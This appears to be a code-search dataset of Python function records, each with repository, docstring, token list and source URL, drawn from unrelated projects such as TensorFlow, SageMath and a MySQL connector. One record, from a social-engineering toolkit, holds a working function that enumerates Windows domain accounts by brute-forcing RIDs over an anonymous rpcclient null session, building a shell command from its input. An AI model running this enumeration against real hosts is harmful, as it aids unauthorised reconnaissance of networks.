# Fail fast if num_classes or num_features isn't set.
_ = getattr(self, 'num_classes')
_ = getattr(self, 'num_features')
self.bagged_num_features = int(self.feature_bagging_fraction *
self.num_features)
self.bagged_features = None
if self.feature_bagging_fraction < 1.0:
self.bagged_features = [random.sample(
range(self.num_features),
self.bagged_num_features) for _ in range(self.num_trees)]
self.regression = getattr(self, 'regression', False)
# Num_outputs is the actual number of outputs (a single prediction for
# classification, a N-dimenensional point for regression).
self.num_outputs = self.num_classes if self.regression else 1
# Add an extra column to classes for storing counts, which is needed for
# regression and avoids having to recompute sums for classification.
self.num_output_columns = self.num_classes + 1
# The Random Forest literature recommends sqrt(# features) for
# classification problems, and p/3 for regression problems.
# TODO(thomaswc): Consider capping this for large number of features.
self.num_splits_to_consider = (
self.num_splits_to_consider or
max(10, int(math.ceil(math.sqrt(self.num_features)))))
# max_fertile_nodes doesn't effect performance, only training speed.
# We therefore set it primarily based upon space considerations.
# Each fertile node takes up num_splits_to_consider times as much
# as space as a non-fertile node. We want the fertile nodes to in
# total only take up as much space as the non-fertile nodes, so
num_fertile = int(math.ceil(self.max_nodes / self.num_splits_to_consider))
# But always use at least 1000 accumulate slots.
num_fertile = max(num_fertile, 1000)
self.max_fertile_nodes = self.max_fertile_nodes or num_fertile
# But it also never needs to be larger than the number of leaves,
# which is max_nodes / 2.
self.max_fertile_nodes = min(self.max_fertile_nodes,
int(math.ceil(self.max_nodes / 2.0)))
# We have num_splits_to_consider slots to fill, and we want to spend
# approximately split_after_samples samples initializing them.
num_split_initializiations_per_input = max(1, int(math.floor(
self.num_splits_to_consider / self.split_after_samples)))
self.split_initializations_per_input = getattr(
self, 'split_initializations_per_input',
num_split_initializiations_per_input)
# If base_random_seed is 0, the current time will be used to seed the
# random number generators for each tree. If non-zero, the i-th tree
# will be seeded with base_random_seed + i.
self.base_random_seed = getattr(self, 'base_random_seed', 0)
return self
|
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https://github.com/tobegit3hub/deep_image_model/blob/8a53edecd9e00678b278bb10f6fb4bdb1e4ee25e/java_predict_client/src/main/proto/tensorflow/contrib/tensor_forest/python/tensor_forest.py#L89-L148
|
|
wucng/TensorExpand
|
4ea58f64f5c5082b278229b799c9f679536510b7
|
TensorExpand/图片项目/8、CIFAR-10/cifar10.py
|
python
|
load_training_data
|
()
|
return images, cls, one_hot_encoded(class_numbers=cls, num_classes=num_classes)
|
Load all the training-data for the CIFAR-10 data-set.
The data-set is split into 5 data-files which are merged here.
Returns the images, class-numbers and one-hot encoded class-labels.
|
Load all the training-data for the CIFAR-10 data-set.
The data-set is split into 5 data-files which are merged here.
Returns the images, class-numbers and one-hot encoded class-labels.
|
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def load_training_data():
"""
Load all the training-data for the CIFAR-10 data-set.
The data-set is split into 5 data-files which are merged here.
Returns the images, class-numbers and one-hot encoded class-labels.
"""
# Pre-allocate the arrays for the images and class-numbers for efficiency.
images = np.zeros(shape=[_num_images_train, img_size, img_size, num_channels], dtype=float)
cls = np.zeros(shape=[_num_images_train], dtype=int)
# Begin-index for the current batch.
begin = 0
# For each data-file.
for i in range(_num_files_train):
# Load the images and class-numbers from the data-file.
images_batch, cls_batch = _load_data(filename="data_batch_" + str(i + 1))
# Number of images in this batch.
num_images = len(images_batch)
# End-index for the current batch.
end = begin + num_images
# Store the images into the array.
images[begin:end, :] = images_batch
# Store the class-numbers into the array.
cls[begin:end] = cls_batch
# The begin-index for the next batch is the current end-index.
begin = end
return images, cls, one_hot_encoded(class_numbers=cls, num_classes=num_classes)
|
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https://github.com/wucng/TensorExpand/blob/4ea58f64f5c5082b278229b799c9f679536510b7/TensorExpand/图片项目/8、CIFAR-10/cifar10.py#L183-L217
|
|
sagemath/sage
|
f9b2db94f675ff16963ccdefba4f1a3393b3fe0d
|
src/sage/knots/knotinfo.py
|
python
|
KnotInfoBase.is_almost_alternating
|
(self)
|
return knotinfo_bool(self[self.items.almost_alternating])
|
r"""
Return whether ``self`` is almost alternating.
EXAMPLES::
sage: from sage.knots.knotinfo import KnotInfo
sage: KnotInfo.K5_2.is_almost_alternating() # optional - database_knotinfo
False
|
r"""
Return whether ``self`` is almost alternating.
|
[
"r",
"Return",
"whether",
"self",
"is",
"almost",
"alternating",
"."
] |
def is_almost_alternating(self):
r"""
Return whether ``self`` is almost alternating.
EXAMPLES::
sage: from sage.knots.knotinfo import KnotInfo
sage: KnotInfo.K5_2.is_almost_alternating() # optional - database_knotinfo
False
"""
db._feature.require() # column not available in demo-version
return knotinfo_bool(self[self.items.almost_alternating])
|
[
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https://github.com/sagemath/sage/blob/f9b2db94f675ff16963ccdefba4f1a3393b3fe0d/src/sage/knots/knotinfo.py#L1024-L1035
|
|
OneDrive/onedrive-sdk-python
|
e5642f8cad8eea37a4f653c1a23dfcfc06c37110
|
src/onedrivesdk/model/audio.py
|
python
|
Audio.is_variable_bitrate
|
(self)
|
Gets and sets the isVariableBitrate
Returns:
bool:
The isVariableBitrate
|
Gets and sets the isVariableBitrate
Returns:
bool:
The isVariableBitrate
|
[
"Gets",
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"sets",
"the",
"isVariableBitrate",
"Returns",
":",
"bool",
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"The",
"isVariableBitrate"
] |
def is_variable_bitrate(self):
"""Gets and sets the isVariableBitrate
Returns:
bool:
The isVariableBitrate
"""
if "isVariableBitrate" in self._prop_dict:
return self._prop_dict["isVariableBitrate"]
else:
return None
|
[
"def",
"is_variable_bitrate",
"(",
"self",
")",
":",
"if",
"\"isVariableBitrate\"",
"in",
"self",
".",
"_prop_dict",
":",
"return",
"self",
".",
"_prop_dict",
"[",
"\"isVariableBitrate\"",
"]",
"else",
":",
"return",
"None"
] |
https://github.com/OneDrive/onedrive-sdk-python/blob/e5642f8cad8eea37a4f653c1a23dfcfc06c37110/src/onedrivesdk/model/audio.py#L205-L215
|
||
mysql/mysql-connector-python
|
c5460bcbb0dff8e4e48bf4af7a971c89bf486d85
|
lib/mysqlx/statement.py
|
python
|
ModifyStatement.execute
|
(self)
|
return self._connection.send_update(self)
|
Execute the statement.
Returns:
mysqlx.Result: Result object.
Raises:
ProgrammingError: If condition was not set.
|
Execute the statement.
|
[
"Execute",
"the",
"statement",
"."
] |
def execute(self):
"""Execute the statement.
Returns:
mysqlx.Result: Result object.
Raises:
ProgrammingError: If condition was not set.
"""
if not self.has_where:
raise ProgrammingError("No condition was found for modify")
return self._connection.send_update(self)
|
[
"def",
"execute",
"(",
"self",
")",
":",
"if",
"not",
"self",
".",
"has_where",
":",
"raise",
"ProgrammingError",
"(",
"\"No condition was found for modify\"",
")",
"return",
"self",
".",
"_connection",
".",
"send_update",
"(",
"self",
")"
] |
https://github.com/mysql/mysql-connector-python/blob/c5460bcbb0dff8e4e48bf4af7a971c89bf486d85/lib/mysqlx/statement.py#L883-L894
|
|
TensorSpeech/TensorflowTTS
|
34358d82a4c91fd70344872f8ea8a405ea84aedb
|
tensorflow_tts/models/fastspeech.py
|
python
|
TFTacotronPostnet.call
|
(self, inputs, training=False)
|
return outputs * extended_mask
|
Call logic.
|
Call logic.
|
[
"Call",
"logic",
"."
] |
def call(self, inputs, training=False):
"""Call logic."""
outputs, mask = inputs
extended_mask = tf.cast(tf.expand_dims(mask, axis=2), outputs.dtype)
for i, (conv, bn) in enumerate(self.conv_batch_norm):
outputs = conv(outputs)
outputs = bn(outputs)
outputs = self.activation[i](outputs)
outputs = self.dropout(outputs, training=training)
return outputs * extended_mask
|
[
"def",
"call",
"(",
"self",
",",
"inputs",
",",
"training",
"=",
"False",
")",
":",
"outputs",
",",
"mask",
"=",
"inputs",
"extended_mask",
"=",
"tf",
".",
"cast",
"(",
"tf",
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"expand_dims",
"(",
"mask",
",",
"axis",
"=",
"2",
")",
",",
"outputs",
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"(",
"conv",
",",
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":",
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")",
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"=",
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"(",
"outputs",
",",
"training",
"=",
"training",
")",
"return",
"outputs",
"*",
"extended_mask"
] |
https://github.com/TensorSpeech/TensorflowTTS/blob/34358d82a4c91fd70344872f8ea8a405ea84aedb/tensorflow_tts/models/fastspeech.py#L564-L573
|
|
trustedsec/social-engineer-toolkit
|
02ed2e8f11635546d8d176daf736508bee9d742e
|
src/fasttrack/ridenum.py
|
python
|
sids_to_names
|
(ip, sid, start, stop)
|
return rid_accounts
|
[] |
def sids_to_names(ip, sid, start, stop):
rid_accounts = []
ranges = ['{0}-{1}'.format(sid, rid) for rid in range(start, stop)]
# different chunk size for darwin (os x)
chunk_size = 2500
if sys.platform == 'darwin':
chunk_size = 5000
chunks = list(chunk(ranges, chunk_size))
for c in chunks:
command = 'rpcclient -U "" {0} -N -c "lookupsids '.format(ip)
command += ' '.join(c)
command += '"'
proc = subprocess.Popen(command, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
stdout_value = proc.communicate()[0]
if "NT_STATUS_ACCESS_DENIED" in stdout_value:
print("[!] Server sent NT_STATUS_ACCESS DENIED, unable to extract users.")
global denied
denied = 1
break
for line in stdout_value.rstrip().split('\n'):
if "*unknown*" not in line:
if line != "":
rid_account = line.split(" ", 1)[1]
# will show during an unhandled request
# '00000' are bogus accounts?
# only return accounts ie. (1). Everything else should be a group
if rid_account != "request" and '00000' not in rid_account and '(1)' in rid_account:
# here we join based on spaces, for example 'Domain Admins' needs to be joined
rid_account = rid_account.replace("(1)", "")
# return the full domain\username
rid_account = rid_account.rstrip()
rid_accounts.append(rid_account)
return rid_accounts
|
[
"def",
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"(",
"ip",
",",
"sid",
",",
"start",
",",
"stop",
")",
":",
"rid_accounts",
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"[",
"]",
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"'{0}-{1}'",
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",",
"rid",
")",
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"(",
"\" \"",
",",
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")",
"[",
"1",
"]",
"# will show during an unhandled request",
"# '00000' are bogus accounts?",
"# only return accounts ie. (1). Everything else should be a group",
"if",
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"\"request\"",
"and",
"'00000'",
"not",
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"rid_account",
"and",
"'(1)'",
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"rid_account",
":",
"# here we join based on spaces, for example 'Domain Admins' needs to be joined",
"rid_account",
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"rid_account",
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"replace",
"(",
"\"(1)\"",
",",
"\"\"",
")",
"# return the full domain\\username",
"rid_account",
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"rid_account",
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"rstrip",
"(",
")",
"rid_accounts",
".",
"append",
"(",
"rid_account",
")",
"return",
"rid_accounts"
] |
https://github.com/trustedsec/social-engineer-toolkit/blob/02ed2e8f11635546d8d176daf736508bee9d742e/src/fasttrack/ridenum.py#L105-L139
|
|||
andreikop/enki
|
3170059e5cb46dcc77d7fb1457c38a8a5f13af66
|
enki/plugins/cppfileswitch.py
|
python
|
Plugin._isImplementation
|
(self, filePath)
|
return any([filePath.endswith(suffix)
for suffix in _IMPLEMENTATION_SUFFIXES])
|
Check if file is a header
|
Check if file is a header
|
[
"Check",
"if",
"file",
"is",
"a",
"header"
] |
def _isImplementation(self, filePath):
"""Check if file is a header
"""
return any([filePath.endswith(suffix)
for suffix in _IMPLEMENTATION_SUFFIXES])
|
[
"def",
"_isImplementation",
"(",
"self",
",",
"filePath",
")",
":",
"return",
"any",
"(",
"[",
"filePath",
".",
"endswith",
"(",
"suffix",
")",
"for",
"suffix",
"in",
"_IMPLEMENTATION_SUFFIXES",
"]",
")"
] |
https://github.com/andreikop/enki/blob/3170059e5cb46dcc77d7fb1457c38a8a5f13af66/enki/plugins/cppfileswitch.py#L59-L63
|
|
grnet/synnefo
|
d06ec8c7871092131cdaabf6b03ed0b504c93e43
|
astakosclient/astakosclient/__init__.py
|
python
|
AstakosClient.membership_action
|
(self, memb_id, action, reason="")
|
return self._call_astakos(path, headers=req_headers,
body=req_body, method="POST")
|
Perform action on a membership
Arguments:
memb_id -- membership identifier
action -- action to perform, one of "leave", "cancel", "accept",
"reject", "remove"
reason -- reason of performing the action
In case of success, return nothing.
|
Perform action on a membership
|
[
"Perform",
"action",
"on",
"a",
"membership"
] |
def membership_action(self, memb_id, action, reason=""):
"""Perform action on a membership
Arguments:
memb_id -- membership identifier
action -- action to perform, one of "leave", "cancel", "accept",
"reject", "remove"
reason -- reason of performing the action
In case of success, return nothing.
"""
path = join_urls(self.api_memberships, str(memb_id))
path = join_urls(path, "action")
req_headers = {'content-type': 'application/json'}
req_body = parse_request({action: reason}, self.logger)
return self._call_astakos(path, headers=req_headers,
body=req_body, method="POST")
|
[
"def",
"membership_action",
"(",
"self",
",",
"memb_id",
",",
"action",
",",
"reason",
"=",
"\"\"",
")",
":",
"path",
"=",
"join_urls",
"(",
"self",
".",
"api_memberships",
",",
"str",
"(",
"memb_id",
")",
")",
"path",
"=",
"join_urls",
"(",
"path",
",",
"\"action\"",
")",
"req_headers",
"=",
"{",
"'content-type'",
":",
"'application/json'",
"}",
"req_body",
"=",
"parse_request",
"(",
"{",
"action",
":",
"reason",
"}",
",",
"self",
".",
"logger",
")",
"return",
"self",
".",
"_call_astakos",
"(",
"path",
",",
"headers",
"=",
"req_headers",
",",
"body",
"=",
"req_body",
",",
"method",
"=",
"\"POST\"",
")"
] |
https://github.com/grnet/synnefo/blob/d06ec8c7871092131cdaabf6b03ed0b504c93e43/astakosclient/astakosclient/__init__.py#L1008-L1024
|
|
bcbio/bcbio-nextgen
|
c80f9b6b1be3267d1f981b7035e3b72441d258f2
|
bcbio/variation/multi.py
|
python
|
_group_batches_shared
|
(xs, caller_batch_fn, prep_data_fn)
|
return singles + batches
|
Shared functionality for grouping by batches for variant calling and joint calling.
when creating a pon (batch: pon_build) process samples as singles first
|
Shared functionality for grouping by batches for variant calling and joint calling.
when creating a pon (batch: pon_build) process samples as singles first
|
[
"Shared",
"functionality",
"for",
"grouping",
"by",
"batches",
"for",
"variant",
"calling",
"and",
"joint",
"calling",
".",
"when",
"creating",
"a",
"pon",
"(",
"batch",
":",
"pon_build",
")",
"process",
"samples",
"as",
"singles",
"first"
] |
def _group_batches_shared(xs, caller_batch_fn, prep_data_fn):
"""Shared functionality for grouping by batches for variant calling and joint calling.
when creating a pon (batch: pon_build) process samples as singles first
"""
singles = []
batch_groups = collections.defaultdict(list)
for args in xs:
data = utils.to_single_data(args)
caller, batch = caller_batch_fn(data)
region = _list_to_tuple(data["region"]) if "region" in data else ()
if batch is not None and batch != "pon_build":
batches = batch if isinstance(batch, (list, tuple)) else [batch]
for b in batches:
batch_groups[(b, region, caller)].append(utils.deepish_copy(data))
else:
data = prep_data_fn(data, [data])
singles.append(data)
batches = []
for batch, items in batch_groups.items():
batch_data = utils.deepish_copy(_pick_lead_item(items))
# For nested primary batches, split permanently by batch
if tz.get_in(["metadata", "batch"], batch_data):
batch_name = batch[0]
batch_data["metadata"]["batch"] = batch_name
batch_data = prep_data_fn(batch_data, items)
batch_data["group_orig"] = _collapse_subitems(batch_data, items)
batch_data["group"] = batch
batches.append(batch_data)
return singles + batches
|
[
"def",
"_group_batches_shared",
"(",
"xs",
",",
"caller_batch_fn",
",",
"prep_data_fn",
")",
":",
"singles",
"=",
"[",
"]",
"batch_groups",
"=",
"collections",
".",
"defaultdict",
"(",
"list",
")",
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":",
"data",
"=",
"utils",
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"to_single_data",
"(",
"args",
")",
"caller",
",",
"batch",
"=",
"caller_batch_fn",
"(",
"data",
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"_list_to_tuple",
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")",
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",",
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",",
"tuple",
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"[",
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"_pick_lead_item",
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")",
"# For nested primary batches, split permanently by batch",
"if",
"tz",
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"get_in",
"(",
"[",
"\"metadata\"",
",",
"\"batch\"",
"]",
",",
"batch_data",
")",
":",
"batch_name",
"=",
"batch",
"[",
"0",
"]",
"batch_data",
"[",
"\"metadata\"",
"]",
"[",
"\"batch\"",
"]",
"=",
"batch_name",
"batch_data",
"=",
"prep_data_fn",
"(",
"batch_data",
",",
"items",
")",
"batch_data",
"[",
"\"group_orig\"",
"]",
"=",
"_collapse_subitems",
"(",
"batch_data",
",",
"items",
")",
"batch_data",
"[",
"\"group\"",
"]",
"=",
"batch",
"batches",
".",
"append",
"(",
"batch_data",
")",
"return",
"singles",
"+",
"batches"
] |
https://github.com/bcbio/bcbio-nextgen/blob/c80f9b6b1be3267d1f981b7035e3b72441d258f2/bcbio/variation/multi.py#L106-L134
|
|
mcfletch/pyopengl
|
02d11dad9ff18e50db10e975c4756e17bf198464
|
documentation/pydoc/pydoc2.py
|
python
|
PackageDocumentationGenerator.addInteresting
|
( self, specifier)
|
Add a module to the list of interesting modules
|
Add a module to the list of interesting modules
|
[
"Add",
"a",
"module",
"to",
"the",
"list",
"of",
"interesting",
"modules"
] |
def addInteresting( self, specifier):
"""Add a module to the list of interesting modules"""
if self.checkScope( specifier):
## print "addInteresting", specifier
self.pending.append (specifier)
else:
self.completed[ specifier] = 1
|
[
"def",
"addInteresting",
"(",
"self",
",",
"specifier",
")",
":",
"if",
"self",
".",
"checkScope",
"(",
"specifier",
")",
":",
"##\t\t\tprint \"addInteresting\", specifier",
"self",
".",
"pending",
".",
"append",
"(",
"specifier",
")",
"else",
":",
"self",
".",
"completed",
"[",
"specifier",
"]",
"=",
"1"
] |
https://github.com/mcfletch/pyopengl/blob/02d11dad9ff18e50db10e975c4756e17bf198464/documentation/pydoc/pydoc2.py#L395-L401
|
||
RichardFrangenberg/Prism
|
09283b5146d9cdf9d489dcf252f7927083534a48
|
Prism/Plugins/ProjectManagers/Shotgun/external_modules/shotgun_api3/shotgun.py
|
python
|
Shotgun._make_call
|
(self, verb, path, body, headers)
|
Make an HTTP call to the server.
Handles retry and failure.
|
Make an HTTP call to the server.
|
[
"Make",
"an",
"HTTP",
"call",
"to",
"the",
"server",
"."
] |
def _make_call(self, verb, path, body, headers):
"""
Make an HTTP call to the server.
Handles retry and failure.
"""
attempt = 0
req_headers = {}
req_headers["user-agent"] = "; ".join(self._user_agents)
if self.config.authorization:
req_headers["Authorization"] = self.config.authorization
req_headers.update(headers or {})
body = body or None
max_rpc_attempts = self.config.max_rpc_attempts
rpc_attempt_interval = self.config.rpc_attempt_interval / 1000.0
while (attempt < max_rpc_attempts):
attempt += 1
try:
return self._http_request(verb, path, body, req_headers)
except ssl_error_classes as e:
# Test whether the exception is due to the fact that this is an older version of
# Python that cannot validate certificates encrypted with SHA-2. If it is, then
# fall back on disabling the certificate validation and try again - unless the
# SHOTGUN_FORCE_CERTIFICATE_VALIDATION environment variable has been set by the
# user. In that case we simply raise the exception. Any other exceptions simply
# get raised as well.
#
# For more info see:
# http://blog.shotgunsoftware.com/2016/01/important-ssl-certificate-renewal-and.html
#
# SHA-2 errors look like this:
# [Errno 1] _ssl.c:480: error:0D0C50A1:asn1 encoding routines:ASN1_item_verify:
# unknown message digest algorithm
#
# Any other exceptions simply get raised.
if "unknown message digest algorithm" not in str(e) or \
"SHOTGUN_FORCE_CERTIFICATE_VALIDATION" in os.environ:
raise
if self.config.no_ssl_validation is False:
LOG.warning("SSL Error: this Python installation is incompatible with "
"certificates signed with SHA-2. Disabling certificate validation. "
"For more information, see http://blog.shotgunsoftware.com/2016/01/"
"important-ssl-certificate-renewal-and.html")
self._turn_off_ssl_validation()
# reload user agent to reflect that we have turned off ssl validation
req_headers["user-agent"] = "; ".join(self._user_agents)
self._close_connection()
if attempt == max_rpc_attempts:
raise
except Exception:
self._close_connection()
if attempt == max_rpc_attempts:
LOG.debug("Request failed. Giving up after %d attempts." % attempt)
raise
LOG.debug(
"Request failed, attempt %d of %d. Retrying in %.2f seconds..." %
(attempt, max_rpc_attempts, rpc_attempt_interval)
)
time.sleep(rpc_attempt_interval)
|
[
"def",
"_make_call",
"(",
"self",
",",
"verb",
",",
"path",
",",
"body",
",",
"headers",
")",
":",
"attempt",
"=",
"0",
"req_headers",
"=",
"{",
"}",
"req_headers",
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"# Python that cannot validate certificates encrypted with SHA-2. If it is, then",
"# fall back on disabling the certificate validation and try again - unless the",
"# SHOTGUN_FORCE_CERTIFICATE_VALIDATION environment variable has been set by the",
"# user. In that case we simply raise the exception. Any other exceptions simply",
"# get raised as well.",
"#",
"# For more info see:",
"# http://blog.shotgunsoftware.com/2016/01/important-ssl-certificate-renewal-and.html",
"#",
"# SHA-2 errors look like this:",
"# [Errno 1] _ssl.c:480: error:0D0C50A1:asn1 encoding routines:ASN1_item_verify:",
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"\"certificates signed with SHA-2. Disabling certificate validation. \"",
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")",
"time",
".",
"sleep",
"(",
"rpc_attempt_interval",
")"
] |
https://github.com/RichardFrangenberg/Prism/blob/09283b5146d9cdf9d489dcf252f7927083534a48/Prism/Plugins/ProjectManagers/Shotgun/external_modules/shotgun_api3/shotgun.py#L3420-L3484
|
||
SanPen/GridCal
|
d3f4566d2d72c11c7e910c9d162538ef0e60df31
|
src/GridCal/Engine/Replacements/poap_controller.py
|
python
|
Controller.best_point
|
(self, merit=None, filter=None)
|
Return the best point in the database satisfying some criterion.
Args:
merit: Function to minimize (default is r.value)
filter: Predicate to use for filtering candidates
Returns:
Record minimizing merit() and satisfying filter();
or None if nothing satisfies the filter
|
Return the best point in the database satisfying some criterion.
|
[
"Return",
"the",
"best",
"point",
"in",
"the",
"database",
"satisfying",
"some",
"criterion",
"."
] |
def best_point(self, merit=None, filter=None):
"""Return the best point in the database satisfying some criterion.
Args:
merit: Function to minimize (default is r.value)
filter: Predicate to use for filtering candidates
Returns:
Record minimizing merit() and satisfying filter();
or None if nothing satisfies the filter
"""
if filter is None:
fcomplete = [f for f in self.fevals if f.is_completed]
else:
fcomplete = [f for f in self.fevals
if f.is_completed and filter(f)]
if merit is None:
def merit(r):
return r.value
if fcomplete:
return min(fcomplete, key=merit)
|
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https://github.com/SanPen/GridCal/blob/d3f4566d2d72c11c7e910c9d162538ef0e60df31/src/GridCal/Engine/Replacements/poap_controller.py#L63-L83
|
||
IronLanguages/ironpython3
|
7a7bb2a872eeab0d1009fc8a6e24dca43f65b693
|
Src/StdLib/Lib/tkinter/tix.py
|
python
|
CheckList.getmode
|
(self, entrypath)
|
return self.tk.call(self._w, 'getmode', entrypath)
|
Returns the current mode of the entry given by entryPath.
|
Returns the current mode of the entry given by entryPath.
|
[
"Returns",
"the",
"current",
"mode",
"of",
"the",
"entry",
"given",
"by",
"entryPath",
"."
] |
def getmode(self, entrypath):
'''Returns the current mode of the entry given by entryPath.'''
return self.tk.call(self._w, 'getmode', entrypath)
|
[
"def",
"getmode",
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"self",
",",
"entrypath",
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".",
"tk",
".",
"call",
"(",
"self",
".",
"_w",
",",
"'getmode'",
",",
"entrypath",
")"
] |
https://github.com/IronLanguages/ironpython3/blob/7a7bb2a872eeab0d1009fc8a6e24dca43f65b693/Src/StdLib/Lib/tkinter/tix.py#L1570-L1572
|
|
bpython/curtsies
|
56a0ad1199d346a059635982aa87ca07be17e14a
|
setup.py
|
python
|
version
|
()
|
Return version string.
|
Return version string.
|
[
"Return",
"version",
"string",
"."
] |
def version():
"""Return version string."""
with open(os.path.join("curtsies", "__init__.py")) as input_file:
for line in input_file:
if line.startswith("__version__"):
return ast.parse(line).body[0].value.s
|
[
"def",
"version",
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"with",
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"os",
".",
"path",
".",
"join",
"(",
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"parse",
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"line",
")",
".",
"body",
"[",
"0",
"]",
".",
"value",
".",
"s"
] |
https://github.com/bpython/curtsies/blob/56a0ad1199d346a059635982aa87ca07be17e14a/setup.py#L6-L11
|
||
dclambert/Python-ELM
|
00a231e5b917d893fedb9f1747446ba0ac032b8e
|
random_layer.py
|
python
|
BaseRandomLayer.transform
|
(self, X, y=None)
|
return self._compute_hidden_activations(X)
|
Generate the random hidden layer's activations given X as input.
Parameters
----------
X : {array-like, sparse matrix}, shape [n_samples, n_features]
Data to transform
y : is not used: placeholder to allow for usage in a Pipeline.
Returns
-------
X_new : numpy array of shape [n_samples, n_components]
|
Generate the random hidden layer's activations given X as input.
|
[
"Generate",
"the",
"random",
"hidden",
"layer",
"s",
"activations",
"given",
"X",
"as",
"input",
"."
] |
def transform(self, X, y=None):
"""Generate the random hidden layer's activations given X as input.
Parameters
----------
X : {array-like, sparse matrix}, shape [n_samples, n_features]
Data to transform
y : is not used: placeholder to allow for usage in a Pipeline.
Returns
-------
X_new : numpy array of shape [n_samples, n_components]
"""
X = atleast2d_or_csr(X)
if (self.components_ is None):
raise ValueError('No components initialized')
return self._compute_hidden_activations(X)
|
[
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] |
https://github.com/dclambert/Python-ELM/blob/00a231e5b917d893fedb9f1747446ba0ac032b8e/random_layer.py#L119-L138
|
|
SanPen/GridCal
|
d3f4566d2d72c11c7e910c9d162538ef0e60df31
|
src/GridCal/Engine/Replacements/poap_controller.py
|
python
|
BaseWorkerThread.add_worker
|
(self)
|
Add worker back to the work queue.
|
Add worker back to the work queue.
|
[
"Add",
"worker",
"back",
"to",
"the",
"work",
"queue",
"."
] |
def add_worker(self):
"Add worker back to the work queue."
logger.debug("Worker thread is ready")
self.controller.add_worker(self)
|
[
"def",
"add_worker",
"(",
"self",
")",
":",
"logger",
".",
"debug",
"(",
"\"Worker thread is ready\"",
")",
"self",
".",
"controller",
".",
"add_worker",
"(",
"self",
")"
] |
https://github.com/SanPen/GridCal/blob/d3f4566d2d72c11c7e910c9d162538ef0e60df31/src/GridCal/Engine/Replacements/poap_controller.py#L410-L413
|
||
awslabs/datawig
|
f641342d05e95485ed88503d3efd9c3cca3eb7ab
|
datawig/utils.py
|
python
|
sample_cartesian
|
(sets: List,
idx: int,
n: int = None)
|
return out
|
Draw samples from the cartesian product of all iterables in sets.
Each row in the cartesian product has a unique index. This function returns
the row with index idx without materialising any of the other rows.
For a cartesian products of lists with length l1, l2, ... lm, taking the cartesian
product can be thought of as traversing through all lists picking one element of each
and repeating this until all possible combinations are exhausted. The number of combinations
is N=l1*l2*...*lm. This can make materialization of the list impracticle.
By taking the first element from every list that leads to a new combination,
we can define a unique enumeration of all combinations.
:param sets: List of iteratbles
:param idx: Index of desired row in the cartersian product
:param n: Number of rows in the cartesian product
|
Draw samples from the cartesian product of all iterables in sets.
Each row in the cartesian product has a unique index. This function returns
the row with index idx without materialising any of the other rows.
|
[
"Draw",
"samples",
"from",
"the",
"cartesian",
"product",
"of",
"all",
"iterables",
"in",
"sets",
".",
"Each",
"row",
"in",
"the",
"cartesian",
"product",
"has",
"a",
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"function",
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"row",
"with",
"index",
"idx",
"without",
"materialising",
"any",
"of",
"the",
"other",
"rows",
"."
] |
def sample_cartesian(sets: List,
idx: int,
n: int = None) -> List:
"""
Draw samples from the cartesian product of all iterables in sets.
Each row in the cartesian product has a unique index. This function returns
the row with index idx without materialising any of the other rows.
For a cartesian products of lists with length l1, l2, ... lm, taking the cartesian
product can be thought of as traversing through all lists picking one element of each
and repeating this until all possible combinations are exhausted. The number of combinations
is N=l1*l2*...*lm. This can make materialization of the list impracticle.
By taking the first element from every list that leads to a new combination,
we can define a unique enumeration of all combinations.
:param sets: List of iteratbles
:param idx: Index of desired row in the cartersian product
:param n: Number of rows in the cartesian product
"""
if n is None:
n = np.prod([len(y) for y in sets])
out = [] # prepare list to append elements to.
width = n # width of the index set in which the desired row falls.
for item_set in sets:
width = width/len(item_set) # map index set onto first item_set
bucket = int(np.floor(idx/width)) # determine index of the first item_set
out.append(item_set[bucket])
idx = idx - bucket*width # restrict index to next item_set in the hierarchy (could use modulo operator here.)
assert width == 1 # at the end of this procedure, the leaf index set should have width 1.
return out
|
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"assert",
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"==",
"1",
"# at the end of this procedure, the leaf index set should have width 1.",
"return",
"out"
] |
https://github.com/awslabs/datawig/blob/f641342d05e95485ed88503d3efd9c3cca3eb7ab/datawig/utils.py#L374-L407
|
|
home-assistant/supervisor
|
69c2517d5211b483fdfe968b0a2b36b672ee7ab2
|
supervisor/services/interface.py
|
python
|
ServiceInterface._data
|
(self)
|
Return data of this service.
|
Return data of this service.
|
[
"Return",
"data",
"of",
"this",
"service",
"."
] |
def _data(self) -> dict[str, Any]:
"""Return data of this service."""
|
[
"def",
"_data",
"(",
"self",
")",
"->",
"dict",
"[",
"str",
",",
"Any",
"]",
":"
] |
https://github.com/home-assistant/supervisor/blob/69c2517d5211b483fdfe968b0a2b36b672ee7ab2/supervisor/services/interface.py#L26-L27
|
||
goace/personal-file-sharing-center
|
4a5b903b003f2db1306e77c5e51b6660fc5dbc6a
|
web/template.py
|
python
|
CompiledTemplate.__init__
|
(self, f, filename)
|
[] |
def __init__(self, f, filename):
Template.__init__(self, '', filename)
self.t = f
|
[
"def",
"__init__",
"(",
"self",
",",
"f",
",",
"filename",
")",
":",
"Template",
".",
"__init__",
"(",
"self",
",",
"''",
",",
"filename",
")",
"self",
".",
"t",
"=",
"f"
] |
https://github.com/goace/personal-file-sharing-center/blob/4a5b903b003f2db1306e77c5e51b6660fc5dbc6a/web/template.py#L936-L938
|
||||
jbjorne/TEES
|
caf19a4a1352ac59f5dc13a8684cc42ce4342d9d
|
ExampleWriters/EdgeExampleWriter.py
|
python
|
EdgeExampleWriter.__init__
|
(self)
|
[] |
def __init__(self):
self.xType = "edge"
self.removeEdges = True
SentenceExampleWriter.__init__(self)
|
[
"def",
"__init__",
"(",
"self",
")",
":",
"self",
".",
"xType",
"=",
"\"edge\"",
"self",
".",
"removeEdges",
"=",
"True",
"SentenceExampleWriter",
".",
"__init__",
"(",
"self",
")"
] |
https://github.com/jbjorne/TEES/blob/caf19a4a1352ac59f5dc13a8684cc42ce4342d9d/ExampleWriters/EdgeExampleWriter.py#L9-L12
|
||||
kornia/kornia
|
b12d6611b1c41d47b2c93675f0ea344b5314a688
|
kornia/geometry/transform/flips.py
|
python
|
rot180
|
(input: torch.Tensor)
|
return torch.flip(input, [-2, -1])
|
r"""Rotate a tensor image or a batch of tensor images 180 degrees.
.. image:: _static/img/rot180.png
Input must be a tensor of shape (C, H, W) or a batch of tensors :math:`(*, C, H, W)`.
Args:
input: input tensor.
Returns:
The rotated image tensor.
|
r"""Rotate a tensor image or a batch of tensor images 180 degrees.
|
[
"r",
"Rotate",
"a",
"tensor",
"image",
"or",
"a",
"batch",
"of",
"tensor",
"images",
"180",
"degrees",
"."
] |
def rot180(input: torch.Tensor) -> torch.Tensor:
r"""Rotate a tensor image or a batch of tensor images 180 degrees.
.. image:: _static/img/rot180.png
